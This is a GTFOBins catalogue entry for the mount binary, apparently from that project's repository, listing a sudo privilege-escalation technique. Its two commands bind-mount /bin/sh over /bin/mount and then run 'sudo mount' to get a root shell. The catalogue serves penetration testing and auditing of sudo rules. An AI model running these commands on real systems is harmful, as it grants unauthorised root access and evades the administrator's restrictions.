GTFOBins.github.io/_gtfobins/mount.md

9 lines
228 B
Markdown

---
functions:
sudo:
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/sh /bin/mount
sudo mount
---